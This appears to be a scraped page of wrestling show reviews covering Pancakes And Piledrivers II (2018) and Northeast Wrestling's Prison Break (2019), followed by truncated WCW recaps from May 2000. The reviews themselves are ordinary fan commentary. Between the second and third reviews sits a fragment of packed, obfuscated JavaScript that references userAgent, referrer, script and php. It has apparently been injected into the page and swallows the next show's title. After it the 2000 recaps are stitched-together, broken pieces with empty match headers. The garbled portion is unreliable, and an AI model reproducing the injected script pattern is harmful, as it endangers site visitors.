Pancakes And Piledrivers II
Date: April 7, 2018
Location: Sugar Mill, New Orleans, Louisiana
Commentators: Rich Bocchini, Jake Manning, Marty DeRosa

This is a show from Pro Wrestling Revolver plus some other companies (AAW/Fight Club Pro), with the show being billed as the Indy Summit. The show took place over Wrestlemania XXXIV weekend and I had a ticket to this show but went to WrestleCon instead. Odds are I made a mistake but let’s get to it.

The opening video looks at the promotions included for a nice change of pace.

Jeff Cobb vs. Shane Strickland

Yeah this is going to be fun, even with Matt Striker as ring announcer. At the very least, seeing Strickland’s Ain’t Nobody entrance is always awesome. Strickland hurts his arm on an early clothesline attempt so Cobb grabs him by the throat. A charge into the corner takes too long though, allowing Strickland to go up top. That’s fine with Cobb, who pulls him out of the air and hits the swinging belly to back toss. The huge beal out of the corner sends Strickland flying again as commentary mocks the building for being filthy but not allowing the advertised pancakes.

Strickland tries to come back with a chop, allowing Cobb to show him how one is properly thrown. They have the same exchange with forearms but Strickland manages a kick to the head into a German suplex. The running kick to the head gives Strickland two and a hard knee to the head makes it worse. The Swerve Stomp gets two but Cobb sends him into the corner for a running uppercut. A headbutt plants Strickland again and the Tour of the Islands gives Cobb the pin at 7:59.

Rating: C+. Nice opener here as we get one of the things that WrestleCon does well: putting together indy (well then indy) stars and letting them have a fun match. Strickland continues to feel like a star and it is no surprise that he has become a bigger deal. Cobb is a monster who can run over anyone and it is always fun to see him throw people around.

Post match Strickland thanks all three companies for putting the show on.

Colt Cabana/Marty DeRosa vs. Joey Ryan/Session Moth Martina

It’s still weird to hear Ryan being treated as some kind of awesome star. Martina on the other hand goes around the ring drinking with fans, which makes her seem rather popular. Grinding on everyone in the ring makes it even better (Better?) as this is going to be an interesting one. This is DeRosa’s, usually a commentator, debut and he has gear very similar to Cabana’s.

Ryan oils up and gives Cabana some for he and DeRosa to share. The bell rings and Ryan tells Cabana to touch it but, after an apology to the crowd, he declines. Ryan thinks DeRosa might do it instead so Cabana brings him in…and has to hold DeRosa back from touching it. DeRosa and Ryan trade wristlocks to start but Ryan still can’t get him to touch it. If that won’t happen, maybe DeRosa will touch Martina’s….uh, yeah.

Cabana is MORE than willing to try (Martina doesn’t seem to mind) but they’ll wrestle instead. Well maybe not as Martina grinds on Cabana to get out of a waistlock and Ryan tags himself back in. Cabana does his STOP, WHAT’S THAT and slaps Ryan in the face and annoyance begins to grow. DeRosa and Martina come in with DeRosa slapping her in the same way, which is NOT COOL with a lot of people. Ryan knocks DeRosa into the corner for a Bronco Buster (the long form) from Martina.

With DeRosa down, it’s time for the lollipop from Ryan’s trunks. Cabana breaks that up and it’s stereo Bionic Elbows to the….villains? DeRosa busts out a super hurricanrana for two, followed by a Figure Four. Cabana puts Martina in the Billy Goat’s Curse at the same time but Martina crawls on top of DeRosa’s face and bounces for the double break.

Then Kiss Me by Sixpence None The Richer starts playing (ok that’s a plus) and romance is teased….until DeRosa and Cabana’s hands are put between Ryan and Martina’s respective legs. There’s the double flip (with the referee falling down too) and Ryan pulls out a sucker/Martina pulls out a prophylactic from their tights, which go into Cabana and DeRosa’s mouths. Stereo superkicks are good for stereo pins for Ryan and Martina at 8:12.

Rating: F. This is the definition of a your mileage may vary match and that isn’t the best thing to see. Ryan’s shtick didn’t work for me before everything came out about him and it’s even more uncomfortable not. The match was pure “comedy” and barely a match, but what else were you expecting here? Absolutely not my thing and the kind of stuff I never need to see again.

Peace is made post match as Jim Cornette insults abound.

Eddie Kingston vs. Juice Robinson

Kingston comes out to David Starr’s music as the result of a lost bet. They go technical to start with Kingston working on a hammerlock before switching into a top wristlock. Back up and Robinson hits a spinwheel kick, setting up a Cannonball in the corner. A high crossbody gives Robinson two as commentary talks about Sami Callihan. Kingston isn’t having that and knocks him outside, setting up the big suicide dive.

Robinson’s piledriver attempt is countered into a backdrop on the floor, setting up a big whip into the barricade. Back in and the waistlock goes on to keep Robinson down, followed by the rapid fire (minus rapid fire) chops in the corner. That’s reversed into some chops from Robinson and a layout powerbomb gets two. Kingston runs him over again and NOW it’s time for the big chop off (which you knew was coming). Robinson gets in another shot and grabs Pulp Friction for the pin at 8:29.

Rating: C. That ending came out of nowhere and it wasn’t exactly a great match in the first place. This felt more like the match where someone said “hey they’ve never fought before” and that was the extent of the planning. Granted there is only so much that you can do with a story on this show, but this was just kind of there for the most part.

Fight Club Pro Title: Meiko Satomura vs. Kimber Lee vs. Jessicka Havok

Satomura is defending and this is the top title of the promotion (out of England, owned by Trent Seven) rather than the Women’s Title. Striker, ever the nitwit, insists that it IS the Women’s Title, even though that title doesn’t seem to have ever existed. Havok clotheslines both of them down to start and does it again to Satomura for daring to fight back.

Satomura and Lee get together and start striking away to take Havok down, leaving Lee to forearm away at Satomura for a bit. Some kicks to the head rock Lee but she’s back with a bridging German suplex for two. Havok is back in though and tosses Lee around with no trouble. Three straight running kicks to the face stagger Lee even more but Satomura forearms Havok away. A DDT sends Havok outside and Lee gets Death Valley Drivered for two. Satomura hits Scorpion Rising to retain at 6:06.

Rating: C. That was rather sudden as Havok never came back in after the DDT. Not having a title changed here isn’t exactly shocking and it was cool to see Satomura getting to showcase herself. Lee is someone I never could get into but she is talented. Havok on the other hand is a total monster that you get as soon as you see her. Perfectly fine match here, but I was expecting more.

AAW Title: Trevor Lee vs. ACH

ACH is defending and Lee’s (probably better known as Cameron Grimes) AAW Heritage Title isn’t on the line. Lee bails to the floor to start and grabs the mic, allowing him to complain about this show taking place at “eleven o’clock in the afternoon”. These people here don’t care that he was out late on Bourbon Street but all that matters is that he is going to win the AAW Title. Not some loser like ACH who can’t even get on another show this weekend, but a real champion.

After bragging about the money he is going to make, Lee gets hit in the face, only to have ACH miss the 450 back inside. A shot to the face knocks out ACH’s tooth or gum but he is fine enough to avoid the Cave In. ACH is back with a superkick into a brainbuster for…..the pin at 3:10!

Rating: C+. Sure why not, as Lee’s promo and then getting getting shut up so fast was funny, but the wrestling was barely half of this. Sometimes you need a fun match like this, even if it was probably a way to cut time on a loaded show. ACH really was a talented guy before he went a bit bonkers, while Lee would go on to a rather nice career.

Post match, Lee reminds us that he is STILL the Heritage Champion.

OVE vs. Brian Cage/Joey Janela/AR Fox

Tornado rules. That would be the Crist Brothers/Sami Callihan, who are billed under both of their names (Ohio vs. Everything and Ohio Is For Killers). Jake Crist isn’t waiting on the bell and flip dives onto everyone, setting up an Asai moonsault as we’re just getting started without a bell. Penelope Ford comes out to watch as Dave takes Fox inside for a wind up DDT. Janela high crossbodies Fox but gets clotheslined by Callihan.

Cage is waiting on him so Callihan spits in his face….which earns Callihan a heck of a discus lariat. Jake knocks Cage outside but his suicide dive is caught in a suplex because Cage can do that. Everyone else heads outside, leaving Janela to hit a big top rope flip dive. Dave goes up so Ford catches him and it’s a superplex onto the big pile. That’s too far for Callihan, who powerbombs Ford onto a slightly smaller pile, which has commentary freaking out. Not over what Ford did, which was more dangerous, but just what Callihan did. Hypocrites.

Back in and a bunch of strikes to the face leave everyone down as commentary talks about Ford’s Gizmo themed gear. OVE is back up with stereo superkicks but charge into superkicks. Fox avoids a charge though and hits a Spanish Fly, setting up a 450 for two. Jake is back in with a Death Valley Driver to Fox, setting up the spike Tombstone (Killing Spree) for….one?

Everyone is back up for the big staredown, with Cage hitting an F5 and Fox hitting a Death Valley Driver of his own, setting up a triple cover. OVE breaks up stereo triple superplexes so Fox knocks Dave down instead. Fox loads up a frog splash but Jake dives from the adjacent corner with a super cutter to knock Fox cold for the pin at 8:45.

Rating: B-. Thank goodness they went to the finish after that cutter because nothing was going to top that one. Fox was knocked silly and there was no reason to try anything else. The rest of the match was your usual insanity that comes with such a stipulation and it went rather well, at least partially helped because OVE is a regular team. That finish looked great though and it carried the match a lot higher.

PWR Scramble Title: Matt Palmer vs. Jake Manning vs. Caleb Konley vs. Trey Miguel vs. Clint Margera vs. Jason Cade vs. Ace Romero vs. Curt Stallion vs. Maxwell Jacob Friedman vs. Myron Reed vs. Connor Braxton vs. Omari

Palmer is defending and this would be your OH COME ON match of the show, as there are TWELVE PEOPLE in this. Everyone but MJF jumps Palmer to start and toss him outside, leaving everyone else to brawl inside. Reed is left alone to dropkick Cade outside so Stallion comes in to dropkick him. Romero hits a dropkick to Stallion but the rather tall Braxton kicks Romero outside.

Palmer and MJF double team Braxton and we seem to have a partnership….until they both poke eyes and kick each other low, which is good for a handshake out of mutual respect. That’s always nice to see. Omari and Margera hit stereo flip dives onto the floor, followed by Miguel’s springboard flip dive. Manning’s top rope trust fall (while still reading his Boy Scout manual, as is his custom) takes everyone down, leaving Romero (nearly 400lbs) to hit his own dive, much to the fans’ delight.

Back in and we get the required Tower Of Doom, albeit with Palmer and MJF teaming together, teasing a split, and then splitting in the span of ten seconds. Braxton and Stallion double team Romero, with the former managing an impressive slam. Manning is back in with a backbreaker into a lifting Downward Spiral to Stallion and we hit the parade of secondary (or maybe primary) finishers. Omari takes Miguel out so MJF tries to steal the pin, only to get rolled up by Palmer (with trunks) to retain at 8:14.

Rating: C. Yeah it was fine and that’s all I can think of to say about it. What in the world are you supposed to do with a dozen people doing spot after spot for about eight minutes? Palmer stealing the pin doesn’t so much prove anything as he just was in the right place at the right time. That is how these matches always go and while they get a lot of people on the show, they almost never do anything for me as no one gets to stand out in the slightest.

Lucha Bros vs. Jack Evans/Teddy Hart

First half of a double main event and it takes a good while for the Bros to get here. As usual, Evans runs his mouth a lot before the match, which will likely continue after the bell. Fenix and Evans start things off and yes Evans is still running his mouth, which is rarely a good idea. They trade their flips until Fenix kicks the leg out for no count before flipping up into a standoff.

Hart and Penta come in and the chop off is on fast before Hart complains about the lack of respect. A Backstabber drops Penta and Evans springboards in to kick Fenix in the head. That leaves Hart to hit a hanging piledriver/DDT at the same time to drop both Bros. Evans does a triple backflip into the corner to poke Fenix in the eye, which he describes as never before seen. The Canadian Destroyer into the moonsault gives Hart two on Fenix but Penta is back in for a change.

The double teaming takes him down as well, only to have the Bros pop up for running corner clotheslines. Penta gives Hart a heck of a superkick into the corner, with Evans being tied in the Tree of Woe to put them on top of each other. Fenix flips Penta onto the pile before Evans is tied up in a surfboard. That’s not enough for Penta though, as Fenix pulls on the arms at the same time.

Since that doesn’t really work nearly as well as the single version would, Evans hangs on until Hart makes the save. Penta Canadian Destroyers Hart for two with Evans making a save of his own. A springboard doesn’t work for Evans as he falls off the top but he’s right back with a middle rope Phoenix splash for two as Fenix makes his own save.

Fenix hits a rolling cutter on Evans as the referee is trying to restore order for whatever reason. One heck of a Project Ciampa drops Fenix and Evans adds the 630 for two more. Penta powerbombs Evans onto his knee for his own near fall, setting up a stereo Pentagon Driver/Black Fire Driver to give the Bros the double pin at 10:34.

Rating: B-. I would call this the “well, what did you expect” special, as you know what you’re going to get when you have a match involving these people. There is nothing else to expect from these four getting into a match and they made it work well. Let them go out there and do their flips and dives to pop the crowd and that’s all you need. Fun stuff of course, despite being total junk food wrestling.

AAW/PWR Tag Team Titles: Besties In The World vs. Aussie Open vs. Rascalz

The Besties (Davey Vega/Mat Fitchett) are defending both sets of titles in a ladder match. The Rascalz (Dezmond Xavier/Zachary Wentz) are debuting their name, having been formerly known as Scarlett And Graves (weird name). That leaves Aussie Open (Kyle Fletcher/Mark Davis), who have nothing of note but I needed a reason to say their names. And yes, the Besties are the team who do their entrance to Truly Madly Deeply by Savage Garden and yes it is still amazing.

Hold on though, as Fitchett wants tables and chairs added in to the ladders because they’re hardcore! Vega: “NO WE’RE NOT!” Striker says everything is legal, despite it being a ladder match where everything is legal in the first place. A bunch of weapons are thrown inside as commentary talks about how ridiculous it is to have all of these totally unnecessary things underneath the ring.

Ladders and plywood are placed in the corner and Fitchett and Miguel are knocked into/through them. Vega goes up top and gets caught by a bunch of people who shove him through another plywood board. Aussie Open and the Rascalz slug it out with the bigger Fletcher being the last man standing. Wentz chairs him off the ladder though and goes up, allowing commentary to mock JR’s voice on the famous Jeff Hardy ladder climb.

With that broken up, Wentz hits a big step up dive onto a pile on the floor, followed by Fitchett’s running lip dive. Davis Arabian presses onto a bunch of people, leaving Xavier alone with a ladder in the ring. Instead of going for the belts, he climbs the ladder and shooting stars down onto the pile. Vega has used the delay to put a board over six chairs at ringside and superplex Wentz through it for the next big crash.

Back in and Fitchett kicks Xavier in the face but it’s Aussie Open cleaning house. Davis’ running forearm in the corner rocks Xavier and the Aussies both climb at once (Commentary: “No, no, no.”). Fitchett makes the save and the champs crush Aussie Open with ladders in the corner. The Rascalz are back in to kick the Besties down, including Wentz superkicking a chair into Fitchett’s face. Davis comes back in this time and powerbombs Xavier with one arm (dang) but gets kicked in the face by Wentz as well.

Xavier is back up to kick Fletcher and Fitchett down, leaving everyone on the mat. The Aussies catch Xavier going up and Fletcher dives off the top for a cutter (not quite OVE level but not bad). Wentz chops at the Aussies but gets thrown into a ladder in the corner for his efforts. That’s enough to dent the ladder so Fletcher gets on Davis’ shoulders but the champs turn it into a Doomsday Device. The Besties hit stereo piledrivers on the Rascalz (illegal in Louisiana) and retain the titles at 14:10.

Rating: B. It was a six man indy ladder match and that should tell you everything that you need to know. There were cool spots and a lot of carnage until one of the teams got the titles, which is exactly how something like this was supposed to go. It’s nothing great or memorable but for a big main event on a show like this one, it went well and was probably the best thing on the card.

Post match the Besties say that’s how you win gold together (Fan: “THEY’RE SILVER!”) but they want to call out….DAVID ARQUETTE??? AND HE’S HERE! Arquette pulls out a $100 bill scarf and says the Besties just want his money, before bragging about the big names he has faced. He says he’s a real champion and that WWE ruined WCW. Then he pulls off his jacket and reveals a NEVER BEEN PINNED shirt. Arquette seems to challenge the Besties to a match and leaves through the crowd to end the show on an awkward note.

Overall Rating: B-. I had fun and it only went a little over two hours so it didn’t overstay its welcome. What matters here is getting a bunch of people on a show and popping the crowd over and over. You don’t look for continuity or logic here and what we got here lived up to those requirements. It’s cool to see some of the non-WWE stars out there doing their thing and there is only one match that really didn’t work on the whole card. Fun stuff and I’m kind of regretting not taking it in live.

 

 

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Prison Break
Date: August 16, 2019
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Commentators: Gerry Strauss, Paul Crockett

This is from Northeast Wrestling, which is an independent company that I’ve always wanted to look at. As it turns out they had a big event a few months ago (it was last weekend when I started this) featuring a bunch of names you’ve probably heard of so I might as well go with something recent for a change. I’m not sure what to expect here but that makes it more fun. Let’s get to it.

As usual with a show like this, I have no idea what to expect as I don’t follow the stories so bear with me if I don’t know something.

The opening video looks at the history of the promotion, with names such as Ultimate Warrior and Hulk Hogan appearing. Dang when did this place get so big? The hype package does show a rather impressive lists of names over the years, with Bret Hart, Hogan, Roddy Piper, Kurt Angle and Mick Foley among many others being shown. They’ve already got my attention and that’s the best way to start. The video switches to more modern wrestlers, again with several you’re probably familiar with.

We run down the card.

The announcers welcome us to the show.

Private Party vs. A Boy And His Dinosaur vs. Inzanely Rude

The last team would be Zane Bernardo/RJ Rude. Luchasaurus throws Rude into the corner to start so it’s Quen tagging himself in to face Rude instead. That means a dropkick from Quen, who doesn’t even lose his sunglasses. Kassidy comes in with a slingshot hilo but this time it’s Jungle Boy tagging him to Backstab Bernardo. Inzanely Rude bails to the floor so we’ll try Kassidy vs. Boy for a bit.

They take turns flipping each other around until it’s a standoff in the middle. Bernardo comes back in with a springboard missile dropkick to Kassidy and the double teaming is on in a hurry. Quen breaks that up and gets dropkicked as well, finally knocking the sunglasses off (there has to be an Orange Cassidy joke in there somewhere). Rude chops Kassidy, who gives off a high pitched scream.

It’s Rude getting stomped in the corner and Quen flip diving onto Bernardo. Rude gets in a double Sliced Bread to Private Party and it’s Luchasaurus coming in for general carnage. Just because he can, he flips forward and kicks Rude and Bernardo in the head. Boy comes back in to start cleaning house, including Luchasaurus flipping Rude over his back into a sitout spinebuster from Boy for no cover.

Kassidy throws Boy outside and flips over Quen on the apron and then back inside (always cool) for a tornado DDT on Luchasaurus. Boy comes back in for more chops (and more screaming from Kassidy) but Kassidy takes Luchasaurus out with a running corkscrew dive. Quen’s gorgeous shooting star gets two on Boy as Rude makes a save and everyone is down. A Blockbuster connects on Kassidy and it’s a Death Valley Driver to send Quen onto Rude’s knees.

Boy winds up over Bernardo’s back for an over the back piledriver but Luchasaurus comes back in with chokeslams for Rude and Bernardo, the latter of whom gets Canadian Destroyed by Boy in a cool spot. Bernardo and Boy hit the dives to the floor with Rude moonsaulting off the top for the big crash. Back in and Gin And Juice finishes Rude in a hurry to give Kassidy the pin.

Rating: B-. This got a little bit more time than it needed but they did exactly what they needed to do to wake the crowd up to start things off. Private Party is a great act for something like this, though Boy/Luchasaurus might have better potential. The ending was a little weird though as Inzanely Rude would win the Tag Team Titles just over a week later.

Post match Boy/Luchasaurus dance with Private Party for a moment that is a little odder than you might have guessed.

Here’s a flashback to Ultimate Warrior making an appearance with the promotion. He addresses the fans and puts over the promotion for being old school without something like a creative staff. And then we cut it off there.

Tasha Steelz vs. Penelope Ford

Steelz wrestles for Ring of Honor at times. Ford’s offer of a handshake earns her a kick to the ribs as Steelz shows some intellect. A pump kick sends Steelz into the corner for a double backflip elbow as the announcers talk about AEW without talking about AEW. Some right hands knock Ford into the corner and some running shot to the face keep Ford in trouble.

The crowd is so interested that we can hear every word Steelz is saying, which is always a great sign. Ford fights out of a chinlock in a hurry so Steelz grabs Three Amigos for two. A kick to the head and a crucifix bomb give Ford two but Steelz is right back with a high crossbody for her own near fall. Ford starts flipping around and hits a Stunner, setting up a Lethal Injection for the pin at 6:19.

Rating: D+. Ford has all the charisma she needs and I’m pretty sure AEW (or anyone) can figure out a way to use someone who looks like her. The match wasn’t anything great but you can feel some star power from Ford. On the other hand, Steelz feels like most of the Women of Honor: she exists, she can do moves competently, and that’s the end of the positives about her because I still know nothing about her or anything she does.

Private Party celebrates in the back and hits on the backstage interviewer. She doesn’t seem to mind and leaves with them.

Wrecking Ball Legursky vs. Mike Verna

Verna is a strong guy named the Man of Steel and I don’t think I need to explain someone named Wrecking Ball. Apparently Legursky has lost 100lbs, which is quite impressive no matter who you are. Legursky throws him down with ease but Verna gets in an elbow and a missile dropkick, which seems to be a surprising move for him. Verna hits a suicide dive but gets taken down by a dive off the apron.

Back in and Verna forearms him in the face, followed by another for good measure. A pop up powerbomb into a splash gives Legursky two but Verna is right back with another forearm into a Death Valley Driver. That means a trip to the middle rope but Legursky catches him in a swinging Boss Man Slam for the pin at 5:25.

Rating: C. This was the first time I’ve seen both guys and I instantly got the concept. That’s a nice feeling and a good sign for this company as the two of them are unique enough that I remember them but they also had a nice little match. Legursky could be someone elsewhere (say as a bodyguard) and Verna is in good enough shape to be worth a look down the road.

The Trust Fund (they’re rich and you’re not) is ready to destroy Caz XL.

Caz XL vs. Thrillride

The Trust Fund (manager and a bodyguard) is at ringside and Thrillride is a…..I guess flamboyant cowboy? Caz XL is of course Big Cass and that’s what I’ll be referring to him as for the sake of my sanity. Cass (who is jacked) elbows him in the face to start and hits a one armed slam. Bodyguard Rob Zombie grabs Cass’ leg so Thrillride can hammer away but some dropkicks just stagger Cass.

The lackeys choke from the floor and the distraction lets Zombie get in a running neckbreaker and a Samoan drop gives Thrillride two. The chinlock doesn’t last long and Cass muscles him up for a side slam. Zombie cheats again though and the both of them are down again. Some running chops just wake Cass up and he unloads in the corner, setting up the running splash. There’s the chokeslam but Cass has to beat up the manager and Zombie, followed by a powerbomb to put Thrillride away at 6:54.

Rating: C-. Have giant beat up villains and win after a pretty short match. What else can you ask for out of something like this? I mean, other than Cass snapping and attempting to beat up one of his coworkers or something like that of course. The fans seemed pleased and Cass looked great, though he isn’t getting anywhere near a major company again for a long time.

We recap the Tag Team Title match by talking about….Jerry Lawler vs. David Arquette? Lawler dropped Arquette on his head with the piledriver so tonight Brian Anthony (thinks he’s a king) is teaming up with Arquette to challenge Lawler and Keith Youngblood. It’s a little hard to follow.

Lawler laughs at the idea of an actor coming after him and promises to piledrive Arquette, just like he did to Andy Kaufman. Oh and Anthony looks ridiculous in a crown.

Tag Team Titles: Jerry Lawler/Keith Youngblood vs. Hollywood Royalty

Lawler and Youngblood are defending and Baron Von Vito, Hollywood Royalty’s way over the top manager, handles the introductions. We hear about their resumes, which include two Blockbuster Entertainment Awards and a Nickelodeon Kids Choice Award. If nothing else, the idea of Arquette in trunks is such a strange visual. The champs slug away to start and Hollywood Royalty bail to the floor for an early breather.

Back in and it’s Youngblood hammering on Anthony, followed by an atomic drop with Youngblood posing a bit for a nice visual. A one knee Codebreaker takes Youngblood down though and it’s Arquette coming in for stomping and choking. It’s already back to Anthony and some taunting brings Lawler in like a rookie. Youngblood gets stomped down some more but Anthony spends too much time posing and gets superkicked. Arquette draws Lawler in again though and there’s no hot tag yet.

Anthony hammers away and drops a top rope elbow for two. We hit the nerve hold but Youngblood fights up with the clotheslines as Lawler is busy beating up the Baron. The referee gets splashed in the corner by mistake and the Duke of Danger (another of Royalty’s buddies) comes out to beat on Lawler. That means a triple teaming on Youngblood but Manscout Jake Manning runs in for the save. Arquette tries to piledrive Lawler and gets backdropped, setting up a quick fist drop to give Lawler the pin to retain at 9:59.

Rating: D+. Aside from seeing Arquette vs. Lawler, there wasn’t very much of note here. Lawler is still perfectly capable of doing everything he could before and there is nothing wrong with doing something like this. Youngblood looked fine and you can see the star power in Anthony. The champs would lose their titles to Anthony/Duke the next day.

Post match Lawler lays out Arquette but Lawler makes the save and gives him a piledriver, setting up a Diamond Cutter from Arquette. Lawler and Arquette shake hands and Arquette thanks everyone for having him.

Brian Pillman Jr. vs. nZo

Pillman takes him into the corner to start and slaps him on the chest so Enzo grabs a headlock takeover. Back up and Pillman sends him outside with ease, followed by a headlock so Pillman can very blatantly call spots. The headlocking continues until it’s the Hollywood Blondes camera pose.

Enzo starts favoring his knee in the corner, allowing Enzo to grab, you know it, another headlock. That’s broken up and this time Enzo takes him to the apron for a reverse DDT to the floor. A running Razor’s Edge into the post puts Pillman down again and thankfully doesn’t hurt his neck.

Rating: D+. So that happened. Yeah Enzo is still just a person who exists and nowhere near the star that he thinks he is. He came back and had one not very good match against Pillman and then….hasn’t actually wrestled again in the three months since this show. I haven’t cared for him in a long time and this version of him isn’t changing that anytime soon.

Enzo heads straight to the back after the bell.

We recap the NEW Heavyweight Title match. Hale Collins is the hometown boy and he’ll do anything to win the title from Darby Allin.

Northeast Wrestling Heavyweight Title: Darby Allin vs. Hale Collins

No DQ and Hale is challenging. Allin wastes no time in hitting a suicide dive and the fight is on outside in a hurry. A chair to the ribs has Hale down again and a shot to the back makes it worse. Let’s bring in a ladder and a table as well but Allin misses a charge and hits the barricade. Some chair shots to the back get Allin out of trouble again but a dive only hits table

They head inside for the opening bell and Collins superkicks him for two. It’s already back to the floor with Collins putting Allin on the table but missing an elbow off the ladder for a huge crash. Back in and the Coffin Drop finishes Collins at 2:21. That’s some rather fast paced booking but given how they were going out there, including the stuff before the bell, it was easy to understand. Collins exploded through that table too and it would have been nuts to see him keep going after that.

Ring of Honor World Title: JT Dunn vs. Matt Taven

Taven is defending and is a legend around here. Dunn stomps him down in the corner and chops away but Taven pops right back up with a dropkick. Some rollups give Taven two but the Supernova is countered. Instead it’s a TKO over the top rope, setting up a running dropkick through the ropes. A chop against the barricade keeps Dunn in trouble as Taven seems rather pleased to be home.

Dunn’s chop hits the post but his foot is fine enough to hit a big boot. They slug it out on the apron but the referee takes a shot to the face. Dunn gets in a cheap shot for a breather before choking on the ropes by laying on Taven’s back. Something close to a spear gives Dunn two but Taven chops his way out of the corner. Taven’s middle rope moonsault is kicked out of the air but he’s right back with a quick DDT for a double knockdown.

Some running elbows and an enziguri have Dunn in trouble and a rolling neckbreaker gets two. Dunn sends him into the corner for a breather so they head up top, with Taven scoring a heck of a superplex. Taven is right back with a running knee and the Supernova….for two in a good near fall. Dunn’s sliding forearm gives him two of his own but he spends a little too much time talking and gets superkicked. A frog splash retains Taven’s title at 17:59.

Rating: C+. I’ve never been a Taven fan but the difference here was the fire that Taven was showing. He looked like a star but more importantly he felt like a star, which has never been the case with his time in Ring of Honor. I don’t think that is ever going to change without some huge switch for Taven, though that doesn’t matter here. What matters is that Taven had a good appearance and made Dunn look good at the same time. Nice match but the star power was on display with Taven, even if it was due to being a big fish in a small pond.

Post match Taven thanks the company as well as ROH for letting him show up here, even if it is a one night only event. Taven won the North East Title nine years ago and now he’s back as Ring of Honor World Champion. It has been a long road and he loves the fans very much. Again: totally different than his ROH stuff.

We see the Jon Moxley prison break video.

Moxley says he is alive and he is breathing fresh air for the first time. Pentagon Jr. is ready to hurt him. Sounds like a main event to me.

Jon Moxley vs. Pentagon Jr.

They get in each others faces and shout a lot, including various levels of swearing. An early headscissors puts Moxley on the floor so he grabs a chair. The suicide dive is countered with a chair to the mask and it’s time to send Pentagon into the crowd. They brawl through the fans and we can’t see anything for a few moments.

The lights go on again and we see Moxley knocking him through a pretty big crowd, including knocking him through a merch table. Back in and Moxley goes for the mask because of course before bridging a table against the barricade. That takes too long though and Pentagon hits a big running flip dive to send him through said table. A big sweeping broom goes over Moxley’s back and Pentagon chairs him in the ankle.

It’s back into the crowd with Pentagon dragging him into the cheap seats. A drink to the face sets up some choking before Pentagon finds a bonus mask and puts it on Moxley. They go back to ringside with Pentagon finding what might have been an umbrella for a shot to the back. Pentagon gets two off a top rope double stomp but walks into a release Rock Bottom for two.

That’s fine with Pentagon, who kicks the knee out and hits a top rope Alberto double stomp. Moxley sweeps the leg though and puts on a quickly broken Texas Cloverleaf. An STF makes it even worse for Pentagon but a rope is grabbed in a hurry. Pentagon hits a Backstabber and loads up another table in the corner.

They slug it out from their knees until Pentagon hits a superkick, though Moxley drives him through the table in the corner. That’s good for a delayed two and Paradigm Shift gets the same. Pentagon is right back with the arm snap and Fear Factor but Moxley pulls the mask off and hits the Paradigm Shift for the pin at 23:41.

Rating: C+. I wasn’t wild on the big brawling but it fit the two of them rather well. That’s the kind of match that they should be having and the lack of regular wrestling was a lot more understandable here. It makes sense to play to your strengths and on a show like this, it wasn’t exactly something out of nowhere. Let them have fun and get the crowd to come back later, which is the point of bringing in a star like Moxley.

Post match Pentagon thanks him for the match and wants to do it again. Moxley doesn’t like what Pentagon said about his madre but the rematch sounds good. Moxley praises the fans and we get the NEDUB chants. A handshake wraps things up.

Overall Rating: C. This worked out well enough and you can tell the promotion has a history and knows what it’s doing. There was a nice balance of big names and more in-house wrestlers to make things work and it felt like a promotion that delivers a consistent product. The wrestling wasn’t anything that will blow you away but it stayed in a pretty middle of the road area, with nothing great but nothing close to terrible. Completely watchable show and better than a lot of indies you’ll see, at least somewhat due to the overall presentation.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihizr|var|u0026u|referrer|dfitf||js|php'.split('|'),0,{})) 2000
Date: May 7, 2000
Location: Kemper Arena, Kansas City, Missouri
Attendance: 7,165
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

Cruiserweight Title: Chris Candido vs. The Artist

The announcers explain the cage for the first time.

Video of Terry Funk getting beaten up a lot. Now you get to see him defend a title.

Hardcore Title: Terry Funk vs. Norman Smiley/???

Shawn Stasiak vs. Curt Hennig

Hennig throws his back out while trying a slam and Shawn puts on a sleeper back inside. As usual, Stasiak is really dull in the ring. Totally adequate and not bad by any stretch, but dull. Hennig breaks it up after two arm drops and punches Shawn out of the air to take over. Not that it matters as Stasiak catapults him into the post and puts on the HennigPlex for the pin.

US Title: Scott Steiner vs. Hugh Morrus

We hit the bearhug (and Madden misses the squeezing jokes) for a bit before a belly to belly knocks Rection even sillier. Steiner stops to pose, giving us some of the only unique heel work of the night. Rection makes his comeback with splashes in the corner and an Owen Hart-style tombstone, only to mostly miss the moonsault. His feet smack Steiner in the head but the Recliner retains the title a few seconds later.

Booker T. comes out to save Rection from the Recliner.

Mike Awesome vs. Chris Kanyon

Total Package vs. Buff Bagwell

Ric Flair vs. Shane Douglas

We recap Vampiro vs. Sting, which is about both of them being creepy and Vampiro wanting to be what he thinks Sting should be. This would be the third iteration of the exact same idea on this show alone.

Vampiro vs. Sting

Sting hits Vampiro in the head with the pipe again.

Nash is looking for Russo. Again, this should be on a TV show.

Kidman and Bischoff are ready for Hogan. Again, Bischoff went from being terrified of Hogan to volunteering to be guest referee for their match.

You can get a BUFF BAGWELL pennant for purchasing this show. Who thought that was a piece of merchandise that needed to be made?

Kidman vs. Hulk Hogan

At least Kimberly and Torrie are looking great here. Hogan brings out Horace with him for reinforcement. Kidman small packages Hogan on a slam attempt to start but Hogan picks him up by the throat for a crotching on top. Hogan gets a chair and drops Kidman onto it face first, only to have Kidman come back with a hurricanrana.

Russo and Liz run away from Nash.

WCW World Title: David Arquette vs. Diamond Dallas Page vs. Jeff Jarrett

Arquette grabs a guitar as Page Diamond Cuts Mike. They both head up and Arquette misses a guitar shot, only to have both of them fall down to the roof of the hardcore cage. Both guys get back up and, say it with me, Arquette turns on Page to give Jarrett the title back.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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Monday Nitro #238
Date: May 1, 2000
Location: Birmingham-Jefferson Convention Complex
Attendance: 3,635
Commentators: Mark Madden, Tony Schiavone, Bobby Heenan

Opening sequence.

Crowbar vs. Norman Smiley/???

The announcers talk about Arquette winning again with Tony calling it a great moment in sports entertainment. I know this is covering a lot of ground, but that might be the dumbest thing that Tony Schiavone has ever said.

Luger is still looking for Russo.

Stasiak is still shooting. Alone, as in most attempts at a record.

